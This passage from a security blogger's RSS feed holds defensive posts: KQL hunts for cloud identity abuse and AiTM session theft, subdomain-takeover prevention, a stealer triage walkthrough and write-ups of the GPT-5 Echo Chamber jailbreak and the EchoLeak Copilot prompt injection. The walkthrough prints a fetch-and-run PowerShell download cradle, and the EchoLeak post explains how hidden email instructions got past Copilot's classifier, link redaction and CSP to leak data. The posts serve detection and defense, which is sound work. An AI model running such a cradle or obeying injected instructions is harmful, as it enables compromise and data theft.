behavioral changes that follow:</p><ul><li>New IAM sessions with no corresponding deployment or change activity</li><li>Rapid enumeration immediately after credentials are issued</li><li>CLI or SDK user agents used by roles that normally do not use them</li><li>Identity activity that deviates from historical role behavior</li></ul><p>This is not IOC-based detection. It is contextual identity abuse detection.</p><h3>Telemetry That Matters</h3><p>In these scenarios, CloudTrail is the primary source of truth. Once cloud identity is compromised, the meaningful attacker activity happens at the AWS API layer. In Microsoft Sentinel, CloudTrail events land in the AWSCloudTrail table.</p><h4>1. IAM role usage from unexpected source IPs</h4><pre>AWSCloudTrail<br>| where TimeGenerated &gt; ago(7d)<br>| where EventSource in (&quot;sts.amazonaws.com&quot;, &quot;ec2.amazonaws.com&quot;)<br>| where EventName in (&quot;AssumeRole&quot;, &quot;GetCallerIdentity&quot;)<br>| summarize FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated),<br>    IPs = make_set(SourceIpAddress), UserAgents = make_set(UserAgent)<br>    by UserIdentityArn<br>| where array_length(IPs) &gt; 1<br>| where tostring(UserAgents) has_any (&quot;aws-cli&quot;, &quot;Boto&quot;, &quot;curl&quot;)<br>| order by FirstSeen asc</pre><p>This surfaces:</p><ul><li>IAM roles used from more than one IP address</li><li>Programmatic access that doesn’t match how the workload normally runs</li><li>Credential use outside expected network boundaries</li></ul><h4>2. Identity check followed by rapid enumeration</h4><pre>let checks = AWSCloudTrail<br>| where TimeGenerated &gt; ago(7d)<br>| where EventSource == &quot;sts.amazonaws.com&quot;<br>| where EventName in (&quot;GetCallerIdentity&quot;, &quot;AssumeRole&quot;)<br>| project CheckTime = TimeGenerated, UserIdentityArn;<br>AWSCloudTrail<br>| where TimeGenerated &gt; ago(7d)<br>| where EventSource in (&quot;ec2.amazonaws.com&quot;, &quot;iam.amazonaws.com&quot;)<br>| where EventName startswith &quot;Describe&quot; or EventName startswith &quot;List&quot;<br>| join kind=inner checks on UserIdentityArn<br>| where TimeGenerated between (CheckTime .. CheckTime + 10m)<br>| summarize Calls = count(), Events = make_set(EventName, 50), SourceIPs = make_set(SourceIpAddress)<br>    by UserIdentityArn, CheckTime<br>| order by CheckTime asc</pre><p>This surfaces:</p><ul><li>Enumeration within minutes of a credential check</li><li>Identity use that doesn’t match application workflows</li><li>Early-stage cloud discovery through legitimate APIs</li></ul><h3>Making These Detections Stronger</h3><p>These hunts work better when correlated with:</p><ul><li>Known-good IAM role behavior baselines</li><li>Deployment and change management timelines</li><li>Application or WAF anomalies before the identity activity</li></ul><h3>Final Thoughts</h3><p>In cloud environments, identity is rarely the reward. It is the attack path.</p><p>SSRF is one way to reach it, but not the only one.</p><p>If your detection strategy ends at vulnerability scanning or perimeter alerts, attackers can walk around it using your own cloud identities.</p><p>Defenders who succeed in the cloud do not chase exploits. They hunt for broken trust.</p><h3>References</h3><ul><li>AWS, <a href="https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html">Use the Instance Metadata Service to access instance metadata</a> (EC2 User Guide)</li><li>AWS Security Blog, <a href="https://aws.amazon.com/blogs/security/defense-in-depth-open-firewalls-reverse-proxies-ssrf-vulnerabilities-ec2-instance-metadata-service/">Add defense in depth against open firewalls, reverse proxies, and SSRF vulnerabilities with enhancements to the EC2 Instance Metadata Service</a> (November 19, 2019)</li><li>MITRE ATT&amp;CK, <a href="https://attack.mitre.org/techniques/T1552/005/">T1552.005 Cloud Instance Metadata API</a></li><li>Microsoft Learn, <a href="https://learn.microsoft.com/en-us/azure/azure-monitor/reference/tables/awscloudtrail">AWSCloudTrail table reference</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0cb980785e2e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[When MFA Isn't Enough: Hunting AiTM Session Theft in Microsoft Entra ID]]></title>
            <link>https://medium.com/@suryatejakaniki/when-mfa-wasnt-enough-review-of-a-real-aitm-incident-f33ec595ca02?source=rss-d18b97492f5a------2</link>
            <guid isPermaLink="false">https://medium.com/p/f33ec595ca02</guid>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[mfa-bypass]]></category>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[aitm-attack]]></category>
            <category><![CDATA[microsoft-sentinel]]></category>
            <dc:creator><![CDATA[Surya Teja]]></dc:creator>
            <pubDate>Mon, 22 Dec 2025 13:37:58 GMT</pubDate>
            <atom:updated>2026-10-17T13:19:08.148Z</atom:updated>
            <content:encoded><![CDATA[<h4>Modern identity attacks don&#39;t break authentication. They wait for it to succeed.</h4><p>For years, multifactor authentication has been treated as the definitive control against account compromise. It does reduce risk across a wide range of attacks.</p><p>But attackers adapt faster than assumptions.</p><p>Adversary-in-the-middle (AiTM) phishing compromises accounts while MFA does exactly what it was designed to do. The attack doesn’t target the password or the one-time code. It targets the session issued after both are accepted.</p><p>This post covers how that works, why phishing-resistant MFA changes the outcome, and how to hunt for session theft in Microsoft Sentinel.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/572/1*9Bvs3jhanqzPq6Zlk7CDaQ.jpeg" /></figure><h3>The Quiet Shift: From Credential Theft to Session Theft</h3><ul><li>Traditional phishing steals usernames, passwords and one-time codes.</li><li>AiTM phishing steals authenticated session tokens.</li></ul><p>This distinction matters.</p><blockquote><em>MFA protects the authentication event. AiTM attacks exploit the trust that follows it.</em></blockquote><p>In an AiTM attack, nothing is brute-forced and nothing is guessed. The user signs in successfully, and the attacker follows along.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2-s-aSm9xJmIs4UVBMHlaw.jpeg" /></figure><h3>How the Attack Flows</h3><ol><li>The attacker sends a convincing phishing email that imitates a sign-in or business message.</li><li>The victim clicks the link.</li><li>The victim is routed through an attacker-controlled reverse proxy that relays the real sign-in pages in real time.</li><li>The victim enters credentials and completes MFA.</li><li>The identity provider issues a session token, and the proxy captures it.</li><li>The attacker replays the session and skips further MFA prompts.</li></ol><p>From the identity provider’s view, this is a valid, already-authenticated user.</p><p>Microsoft Threat Intelligence described this in 2022 for a campaign that targeted more than 10,000 organizations from September 2021. Microsoft stressed that this is not a vulnerability in MFA, and reported attackers using stolen cookies to reach Outlook on the web in as little as five minutes.</p><p>State-backed groups use the same approach. In December 2023, the UK NCSC and seven partner agencies reported that Star Blizzard used the open-source EvilGinx framework to harvest credentials and session cookies and bypass two-factor authentication.</p><h3>Same Attack, Two Outcomes</h3><p>The control that decides the outcome is the type of MFA.</p><h4>With push or one-time-code MFA</h4><p>The user approves the prompt on the attacker’s proxy page. The identity provider issues a session cookie, the proxy captures it, and the attacker replays it. Defenders who catch it early tend to see:</p><ul><li>Sign-ins from an unusual user agent or a hosting-provider IP</li><li>The same session used from more than one IP address</li><li>A successful MFA challenge followed by activity with no further prompts</li><li>Mailbox or file activity that doesn’t match the user’s normal pattern</li></ul><p>Fast containment limits the damage: revoke sessions, reset credentials, review inbox rules and audit activity from the suspicious IPs.</p><h4>With phishing-resistant MFA (FIDO2)</h4><p>FIDO2 credentials are bound to the legitimate domain. When the sign-in is relayed through a proxy on a different domain, the authenticator won’t complete the sign-in, so no session is issued and there is nothing to replay. CISA recommends phishing-resistant MFA for this reason.</p><p>In the logs, the attempt shows up as failed or incomplete sign-ins with no post-authentication activity. There is nothing to revoke because nothing was compromised.</p><h3>What Happens Without Containment</h3><p>With a live session, an attacker can abuse legitimate access quietly:</p><ul><li>Inbox rules or forwarding to hide replies and steal mail over time</li><li>Internal phishing from the compromised mailbox</li><li>Directory enumeration to find privileged roles</li><li>Downloading business data, then deleting or editing content to cover tracks</li><li>Staging persistence without deploying any malware</li></ul><p>Microsoft’s 2022 report describes exactly this: attackers searched mailboxes for finance threads, created inbox rules to hide replies, and sent payment fraud emails from the compromised account.</p><p>No exploits. No malicious binaries. No endpoint alerts. Just trusted identity access abused at speed.</p><h3>Hunting Queries (Microsoft Sentinel)</h3><h4>Sign-ins with an Axios user agent</h4><p>Proofpoint reported in January 2025 that attackers paired the Axios HTTP client with AiTM kits such as Evilginx to access Microsoft 365 accounts. Between June and November 2024, that campaign compromised 43% of targeted user accounts.</p><pre>SigninLogs<br>| where TimeGenerated &gt; ago(30d)<br>| where UserAgent has &quot;axios&quot;<br>| project TimeGenerated, UserPrincipalName, AppDisplayName, IPAddress, Location,<br>    UserAgent, SessionId, ResultType, ResultDescription, AuthenticationRequirement</pre><h4>One session, several IPs</h4><pre>SigninLogs<br>| where TimeGenerated &gt; ago(7d)<br>| where ResultType == &quot;0&quot;<br>| where isnotempty(SessionId)<br>| summarize IPs = make_set(IPAddress), Countries = make_set(Location),<br>    FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated)<br>    by UserPrincipalName, SessionId<br>| where array_length(IPs) &gt; 1</pre><p>Mobile users switching networks will show up here too. Prioritize sessions where a new IP belongs to a hosting provider or a country the user has never signed in from.</p><h4>What the suspicious IP did in Microsoft 365</h4><pre>OfficeActivity<br>| where TimeGenerated &gt; ago(7d)<br>| where ClientIP contains &quot;203.0.113.10&quot;   // replace with the IP from the sign-in hunts<br>| project TimeGenerated, UserId, Operation, RecordType, ClientIP<br>| order by TimeGenerated asc</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lf8xd9ZS9Bif0-jFc1_oJw.jpeg" /></figure><h3>Final Thoughts</h3><p>AiTM attacks are not an emerging threat. They are already effective against organizations that still equate MFA with identity security.</p><p>The difference between a contained incident and a damaging breach usually comes down to:</p><ul><li>Identity telemetry</li><li>Session awareness</li><li>Phishing-resistant authentication</li><li>Practiced response</li></ul><p>When identity is treated as a security perimeter and defended that way, even capable attackers lose momentum. That is a fight defenders can win.</p><h3>References</h3><ul><li>Microsoft Threat Intelligence, <a href="https://www.microsoft.com/en-us/security/blog/2022/07/12/from-cookie-theft-to-bec-attackers-use-aitm-phishing-sites-as-entry-point-to-further-financial-fraud/">From cookie theft to BEC: Attackers use AiTM phishing sites as entry point to further financial fraud</a> (July 12, 2022)</li><li>NCSC and partners, <a href="https://www.ncsc.gov.uk/news/star-blizzard-continues-spear-phishing-campaigns">Russian FSB cyber actor Star Blizzard continues worldwide spear-phishing campaigns</a> (December 7, 2023)</li><li>Proofpoint, <a href="https://www.proofpoint.com/us/blog/threat-insight/http-client-tools-exploitation-account-takeover-attacks">HTTP client tools in account takeover attacks</a> (January 2025)</li><li>CISA, <a href="https://www.cisa.gov/sites/default/files/publications/fact-sheet-implementing-phishing-resistant-mfa-508c.pdf">Implementing Phishing-Resistant MFA</a> (fact sheet, 2022)</li><li>Microsoft Learn, <a href="https://learn.microsoft.com/en-us/azure/azure-monitor/reference/tables/signinlogs">SigninLogs table reference</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f33ec595ca02" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ChatGPT-5 Jailbroken in Just 24 Hours]]></title>
            <link>https://medium.com/@suryatejakaniki/chatgpt-5-jailbroken-in-just-24-hours-5b19757bf3be?source=rss-d18b97492f5a------2</link>
            <guid isPermaLink="false">https://medium.com/p/5b19757bf3be</guid>
            <category><![CDATA[prompt-engineering]]></category>
            <category><![CDATA[artificial-intelligence]]></category>
            <category><![CDATA[ai-safety]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[gpt-5]]></category>
            <dc:creator><![CDATA[Surya Teja]]></dc:creator>
            <pubDate>Mon, 18 Aug 2025 13:21:47 GMT</pubDate>
            <atom:updated>2026-10-17T14:22:08.690Z</atom:updated>
            <content:encoded><![CDATA[<h3>GPT-5 Was Jailbroken Within a Day: What NeuralTrust and SPLX Found</h3><p><strong>OpenAI released GPT-5 on August 7, 2025. Within a day, two security research teams published results showing its guardrails could be bypassed.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pdk2_5q93qxZl77oPWBDmA.png" /></figure><h3>What happened</h3><p>NeuralTrust combined its Echo Chamber technique with storytelling. Over three turns, its researchers seeded a fictional story with harmless-sounding keywords and steered the model until it produced step-by-step instructions for making a Molotov cocktail. NeuralTrust published the result on August 8, 2025.</p><p>SPLX ran more than 1,000 attack scenarios against each configuration. It scored the raw model 11 out of 100 overall, and 57 with a basic system prompt. GPT-4o scored 29 and 81 on the same tests.</p><h3>Why it matters</h3><ul><li>Multi-turn attacks can steer a model even when no single prompt looks harmful.</li><li>In SPLX’s tests, the raw model was the weakest configuration. Teams deploying GPT-5 need their own system prompts, guardrails and testing.</li></ul><h3>Takeaway</h3><p>A more capable model was not a safer one out of the box. For enterprise use, both results point to hardening and testing before deployment.</p><blockquote>I wrote a longer breakdown of the techniques and their implications on my Substack: <a href="https://surya78425.substack.com/p/gpt-5-jailbreak-researchers-cracked-ai">Read the full analysis</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*yggCJiZ4IoyrzQGOTfzqTg.jpeg" /></figure><h3>References</h3><ul><li>NeuralTrust, <a href="https://neuraltrust.ai/blog/gpt-5-jailbreak-with-echo-chamber-and-storytelling">GPT-5 Jailbreak with Echo Chamber and Storytelling</a> (August 8, 2025)</li><li>SPLX, <a href="https://splx.ai/blog/gpt-5-red-teaming-results">GPT-5 Red Teaming Results</a> (August 8, 2025)</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5b19757bf3be" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Dangling DNS and azurefd.net: How Subdomain Takeover Turns Into Phishing]]></title>
            <link>https://medium.com/@suryatejakaniki/exploiting-trust-the-azure-front-door-mfa-bypass-phishing-explained-f40b2213d0a3?source=rss-d18b97492f5a------2</link>
            <guid isPermaLink="false">https://medium.com/p/f40b2213d0a3</guid>
            <category><![CDATA[azure]]></category>
            <category><![CDATA[phishing]]></category>
            <category><![CDATA[cloud-security]]></category>
            <category><![CDATA[dns]]></category>
            <category><![CDATA[subdomain-takeover]]></category>
            <dc:creator><![CDATA[Surya Teja]]></dc:creator>
            <pubDate>Fri, 01 Aug 2025 07:08:45 GMT</pubDate>
            <atom:updated>2026-10-17T13:23:44.804Z</atom:updated>
            <content:encoded><![CDATA[<h4>What azurefd.net is, how abandoned Front Door endpoints get taken over, and how to find dangling records</h4><p>Azure Front Door (AFD) is Microsoft’s global application delivery network. Its default hostnames end in azurefd.net. This post covers what that domain is for, how dangling DNS records that point at it can be taken over, and how to prevent it.</p><h3>What Is azurefd.net?</h3><h4>Legitimate purpose</h4><p>azurefd.net is a Microsoft-owned domain used by Azure Front Door, a content delivery network and application-layer load balancer.</p><p>When a business puts an application behind Azure Front Door, Microsoft provides a default frontend hostname like:</p><pre>yourapp.azurefd.net</pre><p>This hostname:</p><ul><li>Routes global traffic through Microsoft’s edge locations</li><li>Speeds up application delivery</li><li>Provides security features such as WAF, TLS termination and DDoS protection</li><li>Balances load across backend regions</li></ul><h4>In daily use</h4><p>Most deployments put a custom domain in front, for example a CNAME from app.example.com to yourapp.azurefd.net, so users never see the azurefd.net name. That CNAME is where the risk starts.</p><h3>How It Gets Abused</h3><p>Microsoft documents subdomain takeover as a risk for many Azure services, including Front Door.</p><h4>Dangling DNS</h4><ul><li>A team creates a Front Door endpoint and points a CNAME at it.</li><li>Later, the Front Door resource is deleted, but the CNAME stays in DNS.</li><li>The record now points at a name that nobody owns.</li></ul><h4>Takeover</h4><ul><li>If an attacker can create a resource with the same name in their own subscription, your subdomain now serves their content.</li><li>Because it’s your domain, they can also get a valid TLS certificate for it.</li></ul><h4>What an attacker can do with it</h4><p>Microsoft lists the consequences:</p><ul><li>Phishing pages on a subdomain your users trust</li><li>Harvesting cookies scoped to your parent domain</li><li>Receiving email if MX records are involved</li><li>Follow-on attacks such as XSS, CSRF and CORS bypass</li></ul><h3>Why It Keeps Happening</h3><h4>1. More cloud resources, more DNS records</h4><p>Every Front Door endpoint, storage account and app service with a custom domain adds a record someone has to clean up.</p><h4>2. Decommissioning skips DNS</h4><p>Resources get deleted. The DNS zone often lives with a different team and doesn’t get updated.</p><h4>3. Name reuse</h4><p>When a resource name is released and nothing ties your DNS record to your resource, someone else may be able to claim it. That gap is what alias records and domain verification close.</p><h4>4. Trust in the URL</h4><p>Users and filters judge links by the domain. A taken-over subdomain inherits your brand’s trust.</p><h3>How to Prevent It</h3><ol><li><strong>Find dangling records.</strong> Microsoft publishes the Get-DanglingDnsRecords PowerShell tool (aka.ms/DanglingDNSDomains). It checks CNAMEs against Azure resources, including Front Door.</li><li><strong>Use Azure DNS alias records.</strong> An alias record is tied to the resource’s lifecycle. If the resource is deleted, the record becomes empty instead of dangling. Front Door is a supported target.</li><li><strong>Use domain verification where the service supports it.</strong> For App Service, an asuid TXT record stops other subscriptions from validating your custom domain.</li><li><strong>Lock and track.</strong> Put delete locks on resources with custom DNS entries, add “Remove DNS entry” to decommissioning checklists, and keep an inventory of FQDNs and owners.</li><li><strong>Monitor.</strong> Defender for App Service alerts on dangling App Service domains. Review DNS zones regularly for the rest.</li></ol><h3>Final Thoughts</h3><p>azurefd.net is useful infrastructure that becomes a liability when it isn’t managed. Takeovers like this are less about a flaw in Azure and more about misconfiguration, dangling DNS and the trust users place in a familiar domain.</p><h3>References</h3><ul><li>Microsoft Learn, <a href="https://learn.microsoft.com/en-us/azure/security/fundamentals/subdomain-takeover">Prevent dangling DNS entries and avoid subdomain takeover</a></li><li>Microsoft Learn, <a href="https://learn.microsoft.com/en-us/azure/app-service/reference-dangling-subdomain-prevention">Mitigating subdomain takeovers in Azure App Service</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f40b2213d0a3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Quiet Alert: Triaging a Browser-to-rundll32 Stealer Chain]]></title>
            <link>https://medium.com/@suryatejakaniki/the-quiet-alert-that-caught-a-stealer-a-soc-analysts-true-story-6be5c2ec993b?source=rss-d18b97492f5a------2</link>
            <guid isPermaLink="false">https://medium.com/p/6be5c2ec993b</guid>
            <category><![CDATA[kql]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[soc-analyst]]></category>
            <category><![CDATA[incident-response]]></category>
            <dc:creator><![CDATA[Surya Teja]]></dc:creator>
            <pubDate>Thu, 19 Jun 2025 11:03:31 GMT</pubDate>
            <atom:updated>2026-10-17T13:28:03.696Z</atom:updated>
            <content:encoded><![CDATA[<h4>A walkthrough of a common commodity-stealer infection, from one low-severity alert to a wider hunt</h4><p>Not every serious alert looks serious. This walkthrough follows a common commodity-stealer chain from a single low-severity PowerShell alert to a confirmed infection and a wider hunt. The details are illustrative: there are no real users, hosts or indicators here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e1MMa808C26Hwg4Zu2CrkA.png" /><figcaption>Behind every alert is a story waiting to unfold</figcaption></figure><h3>The Unusual Process Chain</h3><p>The alert is a PowerShell execution with an odd command line. The process tree tells the rest:</p><pre>msedge.exe<br> └── powershell.exe<br>  └── curl.exe<br>   └── downloaded.dll<br>    └── rundll32.exe</pre><p>Browser, then PowerShell, then curl, then a DLL run by rundll32. Each binary is legitimate. The sequence is not. This is living-off-the-land abuse (LOLBAS).</p><h3>Step 1: Decode the Command</h3><p>The full PowerShell command line:</p><pre>powershell.exe -EncodedCommand &lt;Base64&gt;</pre><p>Decoding it, in CyberChef or with:</p><pre>[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(&quot;...&quot;))</pre><p>shows a download cradle:</p><pre>IEX (New-Object Net.WebClient).DownloadString(&#39;http://x.x.x.x/payload&#39;)</pre><p>It fetches and runs a remote script, a technique used by many commodity stealers and RATs.</p><h3>Step 2: Trace It Back to the Email</h3><p>Here, the user opened an invoice-themed email (“Outstanding Invoice: Action Required”) about 15 minutes before the alert. The attached PDF carried a link that opened the browser and started the chain.</p><p>Header checks worth doing at this point:</p><ul><li>Age of the sending domain</li><li>SPF and DKIM results</li><li>Whether an existing gateway rule should have caught it</li></ul><h3>Step 3: Identify the Payload</h3><p>Hash lookups point to an Agent Tesla variant. MITRE ATT&amp;CK describes Agent Tesla (S0331) as .NET spyware seen since at least 2014, used to steal credentials and other data. A handful of vendor detections is a lead, not a verdict, so confirm with sandbox or EDR behavior.</p><h3>MITRE ATT&amp;CK Mapping</h3><ul><li><strong>T1059.001 PowerShell:</strong> encoded PowerShell runs the download cradle</li><li><strong>T1105 Ingress Tool Transfer:</strong> the payload is pulled with curl or DownloadString()</li><li><strong>T1218.011 Rundll32:</strong> rundll32.exe runs the downloaded DLL</li><li><strong>T1041 Exfiltration Over C2 Channel:</strong> stolen data leaves over the same HTTPS channel</li></ul><h3>Step 4: Contain</h3><ul><li>Isolate the host</li><li>Revoke the user’s sessions</li><li>Reset credentials the stealer could reach, including passwords saved in the browser</li></ul><h3>Step 5: Hunt Wider</h3><p>Two KQL hunts for Defender XDR:</p><pre>DeviceProcessEvents<br>| where Timestamp &gt; ago(14d)<br>| where FileName =~ &quot;rundll32.exe&quot;<br>| where ProcessCommandLine has @&quot;\AppData\Local\Temp\&quot;<br>| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName</pre><pre>DeviceProcessEvents<br>| where Timestamp &gt; ago(14d)<br>| where FileName in~ (&quot;powershell.exe&quot;, &quot;pwsh.exe&quot;)<br>| where ProcessCommandLine has_any (&quot;-EncodedCommand&quot;, &quot;-enc &quot;)<br>| where InitiatingProcessFileName in~ (&quot;msedge.exe&quot;, &quot;chrome.exe&quot;, &quot;firefox.exe&quot;)<br>| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName</pre><p>Then search mail logs for the same sender, subject or URL to find other recipients, and check whether anyone else clicked.</p><h3>Remediation Checklist</h3><ul><li>Host isolation</li><li>Credential resets</li><li>Block IOCs (IPs, domains, hashes)</li><li>Email filter updates</li><li>A short awareness note to the affected team</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*V49Z9Gs_wb2I-BrlbawSPw.png" /><figcaption>Example incident timeline</figcaption></figure><h3>Lessons</h3><ul><li>A low-severity alert became a real finding because someone read the process tree instead of trusting the severity.</li><li>The chain used commodity malware and built-in binaries, and still got past static controls.</li><li>Email security helps, but user behavior and layered detection decide the outcome.</li></ul><h3>Final Thoughts</h3><p>This wasn’t an APT. No zero-days. Just social engineering, PowerShell and LOLBins.</p><p>What makes the difference is curious analysts, clear escalation paths, fast investigation and a containment playbook that’s been practiced.</p><p>It’s not always the big, noisy alerts. Often it’s the quiet ones.</p><p>If you’ve triaged a chain like this, I’d like to hear what tipped you off. Leave a comment.</p><h3>References</h3><ul><li>MITRE ATT&amp;CK, <a href="https://attack.mitre.org/software/S0331/">Agent Tesla (S0331)</a></li><li>MITRE ATT&amp;CK, <a href="https://attack.mitre.org/techniques/T1218/011/">T1218.011 Rundll32</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6be5c2ec993b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[EchoLeak (CVE-2025-32711): A Zero-Click Prompt Injection in Microsoft 365 Copilot]]></title>
            <link>https://medium.com/@suryatejakaniki/echoleak-the-first-zero-click-command-injection-vulnerability-in-microsoft-365-copilot-5a8579bb8f79?source=rss-d18b97492f5a------2</link>
            <guid isPermaLink="false">https://medium.com/p/5a8579bb8f79</guid>
            <category><![CDATA[microsoft-copilot]]></category>
            <category><![CDATA[ai-security]]></category>
            <category><![CDATA[echoleak]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[prompt-injection]]></category>
            <dc:creator><![CDATA[Surya Teja]]></dc:creator>
            <pubDate>Mon, 16 Jun 2025 10:16:05 GMT</pubDate>
            <atom:updated>2026-10-17T13:36:41.644Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><em>In </em><a href="https://medium.com/@suryatejakaniki/how-ai-has-transformed-the-cybersecurity-workforce-a-real-world-perspective-ce3d055883b9"><em>my earlier post on how AI has changed security work</em></a><em>, I touched on the risks AI tools introduce. EchoLeak (CVE-2025-32711) is a concrete example: an assistant built to help users could be steered by an attacker’s email into leaking data. This post breaks down how it worked and what defenders should take from it.</em></blockquote><h3>What Is EchoLeak?</h3><p>EchoLeak is a vulnerability in Microsoft 365 Copilot that let an attacker exfiltrate data Copilot could access, without the user clicking anything.</p><p>Aim Labs, the research team at Aim Security, found it in January 2025 and reported it to Microsoft. It was disclosed on June 11, 2025. A September 2025 paper by researchers at George Washington University describes it as the first real-world zero-click prompt injection exploit in a production LLM system.</p><h3>How Does the Attack Work?</h3><p>The EchoLeak attack chain is surprisingly stealthy:</p><ol><li><strong>The attacker sends a crafted email</strong> that looks harmless at first glance.</li><li>This email contains <strong>hidden prompt injection instructions</strong>: text that the AI interprets as commands.</li><li>The recipient <strong>doesn’t need to open or click</strong> anything. It’s truly <strong>zero-click</strong>.</li><li>Later, when the user asks Copilot a question, the AI uses <strong>Retrieval-Augmented Generation (RAG)</strong> to fetch relevant data from emails, Teams messages, or SharePoint files.</li><li>During that retrieval, Copilot also reads the attacker’s hidden instructions and follows them. It embeds sensitive data in a reference-style Markdown link or image URL, and the client fetches that URL, which sends the data to the attacker without a click.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-A7zJd1IKrQDZ4013nqOfw.png" /><figcaption>Ref: <a href="https://www.aim.security/lp/aim-labs-echoleak-blogpost">https://www.aim.security/lp/aim-labs-echoleak-blogpost</a></figcaption></figure><h3>What Is RAG (Retrieval-Augmented Generation)?</h3><p>RAG is a method used by AI tools to provide more accurate and helpful responses. Here’s how it works:</p><ul><li>Instead of relying only on what the AI was trained on, it <strong>retrieves real-world, recent data</strong>, like your emails or documents.</li><li>Then it <strong>generates</strong> a custom response based on that retrieved content.</li></ul><p>In the context of Copilot, RAG helps the AI fetch relevant content from your Microsoft 365 environment to answer your questions better.</p><p>However, as EchoLeak shows, this retrieval can be <strong>abused</strong> if malicious content is allowed into the data sources.</p><h3>Why Is EchoLeak So Dangerous?</h3><p>This vulnerability shows a broader <strong>architectural flaw</strong> in how Large Language Models (LLMs) interact with external data. Specifically, EchoLeak is an example of an <strong>“LLM Scope Violation”</strong>:</p><p>The AI assistant performs privileged actions (like accessing emails or SharePoint files) based on <strong>untrusted external inputs</strong> (in this case, the attacker’s email).</p><p>It <strong>bypassed Microsoft’s existing safeguards</strong>, including:</p><ul><li>The XPIA prompt injection classifier, by phrasing the instructions as ordinary business requests</li><li>Link redaction, by using reference-style Markdown instead of inline links</li><li>Content Security Policy, by routing the image request through a Teams URL on an allowed domain</li></ul><p>Even advanced filtering mechanisms failed to detect or prevent this type of injection.</p><h3>Has It Been Fixed?</h3><p>Yes. Microsoft deployed a server-side fix in May 2025, so customers didn’t need to patch anything. Microsoft said it had no evidence of exploitation in the wild. The underlying risk, prompt injection through content an AI assistant retrieves, applies well beyond Copilot.</p><h3>What Should Organizations Do Now?</h3><p>While Microsoft has addressed this specific issue, EchoLeak highlights a much larger challenge in the age of AI:</p><h4>Recommended Actions</h4><ul><li><strong>Audit what data Copilot (or any AI) has access to.</strong></li><li><strong>Use content classification and labeling</strong> to flag sensitive information.</li><li><strong>Harden AI governance frameworks</strong> to include prompt injection protections.</li><li><strong>Isolate high-risk inputs</strong>, such as emails from unknown senders, from being used in AI-powered workflows.</li><li><strong>Educate employees and AI developers</strong> about prompt injection and LLM security boundaries.</li></ul><h3>Final Thoughts</h3><p>EchoLeak is more than another CVE. It shows how an AI assistant’s access becomes the attacker’s access. As we move toward AI-assisted workspaces, security teams must expand their threat models to include <strong>LLM-specific risks</strong>, such as:</p><ul><li>Prompt injection</li><li>RAG abuse</li><li>Data overreach</li><li>Zero-click AI manipulation</li></ul><p>This marks the beginning of a new class of vulnerabilities, <strong>AI-native exploits</strong>, that traditional security tools may miss.</p><p>Organizations must act now to secure their AI systems before attackers find more creative ways to manipulate them.</p><h3>References</h3><ul><li>Reddy and Gujral, <a href="https://arxiv.org/abs/2509.10540">EchoLeak: The First Real-World Zero-Click Prompt Injection Exploit in a Production LLM System</a> (arXiv, September 2025)</li><li>Microsoft Security Response Center, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-32711">CVE-2025-32711</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5a8579bb8f79" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From Upload to Exploit: Understanding Web Shell Attacks]]></title>
            <link>https://medium.com/@suryatejakaniki/from-upload-to-exploit-understanding-web-shell-attacks-59b55ed7c7a4?source=rss-d18b97492f5a------2</link>
            <guid isPermaLink="false">https://medium.com/p/59b55ed7c7a4</guid>
            <category><![CDATA[persistence]]></category>
            <category><![CDATA[webshell]]></category>
            <category><![CDATA[kql]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <dc:creator><![CDATA[Surya Teja]]></dc:creator>
            <pubDate>Fri, 13 Jun 2025 07:17:17 GMT</pubDate>
            <atom:updated>2026-10-17T13:54:26.007Z</atom:updated>
